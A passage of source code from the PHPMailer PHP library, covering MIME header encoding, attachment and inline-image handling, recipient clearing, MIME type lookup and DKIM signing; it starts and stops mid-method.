            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
